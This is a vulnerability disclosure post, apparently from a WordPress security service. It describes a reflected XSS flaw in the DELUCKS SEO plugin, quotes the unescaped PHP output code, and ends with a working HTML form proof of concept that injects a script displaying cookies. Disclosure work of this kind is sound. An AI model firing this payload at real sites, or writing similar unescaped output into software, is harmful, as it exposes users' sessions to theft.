Reflected Cross-Site Scripting (XSS) Vulnerability in DELUCKS SEO
One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. We have been running all the plugins used by our customers through the same system used for the proactive monitoring on a weekly basis to provide additional protection for them for a year now and we have recently increased that customer proactive monitoring to include checking for lesser vulnerabilities. Through that, we caught a reflected cross-site scripting (XSS) vulnerability in DELUCKS SEO.
That this hadn’t been spotted before is a good indication of the limited amount of security checking being done of WordPress plugins, as the relevant code is easy to detect as at least being insecure.
The plugin registers the function uploadSettingsFile() in the file /modules/dpc/importexport/module.class.php to be accessible to anyone logged in to WordPress:
27 | $this->dpc->registerAjaxAction('dpc_dashboard_upload_settings_file', array($this, 'uploadSettingsFile')); |
That file will output the value of the POST input “file” without escaping, which is a reflected XSS vulnerability:
40 41 42 43 44 45 46 47 48 49 | function uploadSettingsFile(){ $done = false; if(isset($_POST['file']) && isset($_POST['file']['fileData']) && strlen($_POST['file']['fileData'])){ #list($dataType, $dataContent) = explode(',', $_POST['file']['fileData']); #$dataContent = base64_decode(base64_decode($dataContent)); // decode data uri AND base64 encoded content echo "<pre>"; print_r($_POST['file']); |
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will cause any available cookies to be shown in an alert box, when logged in to WordPress. In Safari and other web browsers that provide XSS filtering this proof of concept will not work.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=dpc_dashboard_upload_settings_file" method="POST"> <input type="hidden" name="file[fileData]" value="<script>alert(document.cookie);</script>" /> <input type="submit" value="Submit" /> </form> </body>